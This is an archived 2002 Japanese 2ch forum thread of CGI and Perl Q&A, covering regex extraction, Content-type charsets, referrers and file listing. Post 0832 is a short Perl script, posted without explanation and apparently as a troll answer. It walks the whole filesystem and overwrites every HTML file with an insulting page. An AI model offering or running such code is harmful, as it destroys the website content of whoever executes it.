CGIだけど、なんか質問ある? Part 6
■ このスレッドは過去ログ倉庫に格納されています
0001nobodyさん
02/07/06 13:41ID:Mpxtn4bk※CGIは特定の言語に依存するものではありません。
※Perlのコーディングに関する質問は専用スレがありますのでそちらでお願いします。
↓
Perl 初心者コーナー Part13
http://pc.2ch.net/test/read.cgi/php/1022731565/l50
過去ログ・関連スレッドは >>2
0752nobodyさん
02/08/29 01:28ID:???本当は抜き出す部分が何であるかは事前にわかりません。
0753nobodyさん
02/08/29 01:34ID:???じゃあ、「あいうえお」の部分に「◆keyword1」と入れられたり、
「さしすせそ」の部分に「keyword2◆」と入れられたらどうするの?
0754nobodyさん
02/08/29 01:40ID:???0755nobodyさん
02/08/29 01:43ID:???なぜないと言い切れるのか。
そういう考えがセキュリティホールを生み出したりすると思うのだが。
絶対にないと言うなら、正規表現でも使えば?(Perlの場合)
0756nobodyさん
02/08/29 01:44ID:???書きなよ
0757nobodyさん
02/08/29 01:46ID:???正規表現使うとどうなりますかね?
0758nobodyさん
02/08/29 01:50ID:???そういう気持ちに問題があるっての。
あんたのCGIのせいで、同じサーバーのほかの人間が迷惑被る可能性だってあるんだよ。
0759nobodyさん
02/08/29 01:51ID:???サーバーにアップする前にはちゃんと対策します。
0760nobodyさん
02/08/29 03:16ID:???($hoge) = $a =~ /◆keyword1◆(.*?)◆keyword2◆/;
substr使った方が倍以上速いけど
$b = index($a,'◆keyword1◆'+1,index($a,'◆'));
$hoge = substr($a,$b+3,rindex($a,'◆keyword2◆')-$b-3);
0761nobodyさん
02/08/29 03:48ID:???すごいです。ありがとうございます。$aには\nも含まれるので、/s;にして無事うまくいきました。
しかしやはりsubstrの方がやや速かったです。
0762760
02/08/29 04:17ID:???上の例だと2倍チョイだけど、抜き出す文字列が長くなれば速度差は
数十倍以上になったりするからね
つってもループ外で使うなら気にするほどの差じゃ無いので
自分が分かりやすい方を書いた方が後々良いかもしれん
0763nobodyさん
02/08/30 11:23ID:w917hCw/cgi-binにしかスクリプト置けなくて、そのスクリプトは
members.tripod.co.jp/垢/cgi-bin/スクリプト名
では読めず、
cgi.tripod.co.jp/垢/cgi-bin/スクリプト名
でしか読めない。
で、cgi.tripod.co.jpからアクセスすると、
うpはできてもcgi-binの中(またはそのなかのフォルダの中)にしかファイルを作れない(「/」フォルダがすでにcgi-binなので「../」と指定できない)。
すると、うpしたファイルを落とすとき、
members.tripodからはcgi-binにアクセス権がなく、
cgi-tripodからは拡張子がcgiのファイルしか直接読めない。
なんかいい方法ないかな。
0764nobodyさん
02/08/30 12:37ID:???欧鳥みたいに php+MySQLが一番なんだが
#最近jp弾きするようになったのは誰のせい?
0765nobodyさん
02/08/31 01:51ID:3XHp94dS[10] Re:お疲れサンタマルタ♪ HOME 2002/8/30(Fri)
22:46:37-taka-管理人さん(ZONE幼稚園)
この書き込みで
次のからはウイルスが勝手に飛んだりパス解こうとすると・・・
って感じにするから大丈夫。
って(汗
CGIにそんなことが可能なんでしょうか?
どうやってウィルス飛ばすんでしょうか?
0767宣伝隊No.4
02/08/31 08:07ID:qEuEjGno最大限に2chのパワーを引き出した掲示板が
今、見参!!
0769nobodyさん
02/08/31 21:25ID:9CUDh78Mperlで似たようなもの作ろうと思うんですが>index.cgiにして置く予定
誰か似たようなスクリプト作ってませんか?
0771nobodyさん
02/09/01 04:48ID:nhMd50K5ボタンで行うとき、そのページ内で再リロードしますよね?
それの情報を別ウインドウに送るにはどうすればいいのでしょうか?
0773769
02/09/01 10:28ID:2Mci4oQXまぁ そうなんですけど
ファイル上げるたびに更新するのめんどいんで
動的にやってくれるやつがないかなって
0775769
02/09/01 11:11ID:2Mci4oQX使えたら苦労はしないっす。
CGIだけは使えるのでそれでどうにかしようと思ってます。
0777769
02/09/01 11:34ID:2Mci4oQXapache1.3.26
perlCGIは使えます
htaccessは無効になっていて
Apacheの方の設定のindexリスト作成も無効になっています。
0778nobodyさん
02/09/01 12:02ID:???<form action"..." target="...">
とかいう問題じゃないよね?
0781nobodyさん
02/09/01 12:18ID:???action「=」が抜けてた。
鬱死。
0783nobodyさん
02/09/01 13:33ID:???CGIって言葉の意味ってどんなもんでしょう。
「デジタル用語辞典」とかに載ってる様な、「HTMLでは実現できない云々」
とか言う方はわかるんですが、
「PHPはCGIより速い」
という場合の「CGI」の意味がちょっとわからんす。
先ほどの定義ではPHPとかもCGIなような気がするんで。
もしかしてこういう場合は、
mod_phpとかmod_perlに対して、mod_cgiという意味で使っているのでしょうか?
0784783
02/09/01 14:21ID:???0785nobodyさん
02/09/01 15:18ID:???>「PHPはCGIより速い」
こんな馬鹿なこと言ったの誰だ?
0786nobodyさん
02/09/01 16:33ID:???CGIは言語ではなく技術を総称した言い方
>>783の「PHPはCGIより速い」っていった人はCGI=Perl言語と勘違いしてるだけ
0788783
02/09/01 19:08ID:???http://pc.2ch.net/test/read.cgi/php/1005122528/46-47n
例えばこういう使い方での「CGI」って言葉の意味です。
0790nobodyさん
02/09/01 19:32ID:???それはmod_perlの命令の一つに「CGI」というのがあるだけと思われ。
0791<>
02/09/01 20:55ID:8fmb+fu6ここに、
半角→全角
tr/A-Za-z0-9/A-Za-z0-9/;
その反対
tr/A-Za-z0-9/A-Za-z0-9/;
と書いてありましたが本当でしょうか?
自分で試してみようとは思わないの…?
とりあえず、perl5.6以上で文字コードutf8にしてuse utf8;でなら可能だけど。
さもなくばJcode.pmのJcode::trメソッドを使う、とか
0795<>
02/09/01 21:25ID:8fmb+fu6スクリプトはSJISで書いてます。全角英数字を半角に統一したいので、
jcode::tr(\$str, '0-9A-Za-z', '0-9A-Za-z');
または
&jcode::tr(\$line, <<'EOM', <<'EOM');
0-9A-Za-z
EOM
0-9A-Za-z
EOM
としましたがだめでした。
0797nobodyさん
02/09/01 22:13ID:???いや、PHPにもApache組み込み型じゃなくてCGI型があったはず。
インタプリタ言語としての性能差比較なんだろうか??
0798nobodyさん
02/09/02 15:54ID:2dKvJqigやっぱり和鳥ってCGI使いにくいんですか?
0800俺
02/09/02 17:25ID:???unlinkの関数で.iniのファイルを削除しようとしたのですが
むりでした。
iniのファイルは削除できないのですか?
A:できる(Yes,you can.)直訳:はい、できます
B:できない(No, you can't)いいえ、できません
C:知るか!!(How should I know?)どうして私が知ろうものか・・・
D:教えねえよ(I don't tell you.)私はあなたに教えません。
ABCDのどれかでおねがいします
0801nobodyさん
02/09/02 17:27ID:???わかるかっ!
0802俺
02/09/02 17:47ID:???0804俺
02/09/02 21:28ID:???0805nobodyさん
02/09/02 21:29ID:fApWiCnrhttp://www.leverage.jp/bloom/qry/search.qry?function=Search
0806783
02/09/02 22:55ID:???Apache組み込み型ってのはApache自体にPHPやらPerlのインタプリタとしての機能を
組み込んでそのスクリプトを処理するって事ですよね。
で、CGI型ってのはC++だろうとawk、sh、Perl、区別無く実行ファイルとして実行して、
何らかの処理するもの、と考えてよいのでしょうかね?
えーと、もしくはhttpdに直接インタプリタとしての機能を組み込むのではなく、インタプリタ(等)に
処理を任せるための機能を持っている事?
と言う事は、
http://japan.cnet.com/Help/manual/0217.html
↑のような事は「CGI」と言う事の原義だけど、最近は先の「CGI型」と言うような意味で「CGI」
と言う言葉を使う場合がある、という事でしょうか。
なんか盛大に勘違いしてきている気もしなくもないし、
スレ違いのような気も微妙にしていますので答えがなければ黙って去ります。
0807nobodyさん
02/09/02 22:57ID:???C言語CGI専用スレッド
http://pc.2ch.net/test/read.cgi/php/988918264/
の事か?
0808nobodyさん
02/09/03 10:38ID:+fworGnI0810nobodyさん
02/09/03 12:12ID:dMsxDOGy#!/usr/local/bin/perl
print "Content-type: text/html\n";
print "\n";
print "<HTML>\n";
print "<HEAD>\n";
print "<TITLE>テスト</TITLE>\n";
print "</HEAD>\n";
print "<BODY BGCOLOR=\"#FFCCCC\">\n";
print "これはCGIのテストです。\n";
print "</BODY>\n";
print "</HTML>\n";
0811808
02/09/03 12:15ID:05tL4XNtGMT-8で時間を取得したいです。
あとdatに書き出す方法が分からないです。
すみません。調べても分からなくて。
0812nobodyさん
02/09/03 12:54ID:???print "Content-type: text/html; charset=Shift_JIS\n";
とか
print "Content-type: text/html; charset=EUC-JP\n";
とか指定しろ。
0813nobodyさん
02/09/03 22:24ID:???$hoge=0;
foreach(@HOGE){
if($aaa eq (split(/,/))[0]){
print OUT $gola;
}else{
print OUT $HOGE[$hoge];
}
$hoge++;
}
と
foreach(@HOGE){
if($aaa eq (split(/,/))[0]){
print OUT $gola;
}else{
print OUT $_;
}
}
はどちらが良いのでしょうか?
0814813
02/09/03 22:32ID:???ログファイルでした。すみまちぇん。
0815nobodyさん
02/09/03 22:33ID:???if(index($_,"$aaa,") == 0){
print OUT $gola;
}else{
print OUT $_;
}
}
漏れならこうかな?
0816813
02/09/03 22:35ID:???素早い回答ありがとうございました!
815さんのやり方の方がかっくいいのでこれからそのやり方にさせて板抱きます!!
ありがとうございました。
0817nobodyさん
02/09/03 22:57ID:qCA/TmZFかっくいいわるい以前に負荷が全然違う。
(split(/,/))[0]
は普通にsplitするよりも負荷高いから余程の理由が無い限りは
ループ内で使うもんじゃない。
ちなみにindexは指定された文字列を見つけた時はアホみたいに早いが
見つけられなかった時は最後まで探してしまうので対象のデータ量が多い時は
素直にif(/^$aaa/)としたほうがいい。この場合は$aaaで始まってるか始まって無いか
分かった時点で判定終了する。
0818nobodyさん
02/09/03 23:03ID:???(/^${aaa},/)
0820nobodyさん
02/09/04 10:04ID:lAlY0Cd6ダウンロードしてみたのですが動きません。
なぜですか?
バーナーを張り付けたからでしょうか?
0821nobodyさん
02/09/04 10:07ID:???0822nobodyさん
02/09/04 16:22ID:A3ZRMRKj実行する際に、専用のSSLサーバー(ttps://***.site-secure.net/)
を通すとInternalServerErrorが出てしまいます。
どなたか分かる方いたらお願いします。
0825nobodyさん
02/09/04 23:36ID:9zek6dkEHEAD, PUT, DELETE, LINK, UNLINK, OPTIONS, TRACE, PATCH
とかあるらしい。
この送信方式って、どう違うの?
0826nobodyさん
02/09/05 00:03ID:???漏れはHEADよく使うけどな。
0827nobodyさん
02/09/05 01:47ID:???CGIにしなけりゃいけないの?
0831nobodyさん
02/09/05 11:57ID:rTTP6Czn0832nobodyさん
02/09/05 13:54ID:???#! /usr/bin/perl -wT
use File::Find;
use FileHandle;
use strict;
my $HTML = << 'EOH';
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
"http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<title>糞氏ね</title>
</head>
<body>
<h1>糞氏ね</h1>
EOH
find(\&wanted, '/');
sub wanted {
if (-f && /[sp]?html?$/i) {
my $fh = new FileHandle;
$fh->open("> $File::Find::name");
print $fh $HTML;
$fh->close;
}
}
0833AIXさん@EMACS21
02/09/05 14:12ID:???0834nobodyさん
02/09/05 14:50ID:???$directory="html/";
opendir(D,$directory);
@files=readdir(D);
close(D);
foreach $_(@files){
print HTML "<a href=html/$_>$_</a><br>"
}
としたのですが、これだとディレクトリ名も取得してしまいます。
ファイル名だけを取得することは可能ですか?
0835nobodyさん
02/09/05 16:30ID:wlSd51fU0836nobodyさん
02/09/05 17:08ID:ffAWCECf処理をするプログラムを作ろうとしています。
主要なブラウザやその複数に渡るバージョンで、リファラーを
渡さない(返さない?)ものはあるのでしょうか?
ご存知でしたら教えてください。
0837nobodyさん
02/09/05 17:10ID:9DT7IxqZセキュリティソフトの一部はHTTPリクエストからリファラ行を削除する。
一部の人はProxomitronなどでリファラを消している。
0838836
02/09/05 17:34ID:ffAWCECf「セキュリティソフトの一部」とはノートンとかウィルススキャンとか
メジャーな部類に入るものでしょうか?
自分で分かっててリファラーを消している人たちはいいのですが
(このような人たちは多少なりともこの辺りの知識がある人として)、
コンピュータに詳しくない人が、何も知らずにリファラーが消されていると
いう状況は避けたいのです。
0839nobodyさん
02/09/05 19:53ID:???0841nobodyさん
02/09/05 20:41ID:???と思って、一時的に Referer を吐くように設定し直すからでは?
0842nobodyさん
02/09/05 22:14ID:9DT7IxqZ0843nobodyさん
02/09/05 22:17ID:???>>832のを借用。
use File::Find;
my $BASE = 'html';
find(\&wanted, "$BASE/");
sub wanted {
if (-f $_) {
print '<a href="html/', $File::Find::name, '">', $File::Find::name, '</a><br>', "\n";
}
}
0844sage
02/09/06 01:41ID:NZiXunYP[そんなこと知っている]
[よくわからないが見る]
[戻る]
0845nobodyさん
02/09/06 03:25ID:???そうしようとしないかぎり、リファラ送らないことはほとんど無いので、
とりあえず安心しとけ。
>> 844
プログラマの視点からしか物が見られない典型的な事例ですか?
せめて、
「このウェブサイトはRefererをONにしないと正常に閲覧できない可能性があります」
ぐらいにしてくれ。
0846nobodyさん
02/09/07 02:39ID:???動作しない -> 閲覧できない
出力に置換のラップかけとく。
0848nobodyさん
02/09/07 22:01ID:IU7eXXom0849nobodyさん
02/09/08 16:20ID:QxRWekvCMacなので、どうやって動作テストすればいいか分かりません。
iモードツールみたいなもののMac版ってあるんでしょうか?
0850nobodyさん
02/09/08 16:28ID:???■ このスレッドは過去ログ倉庫に格納されています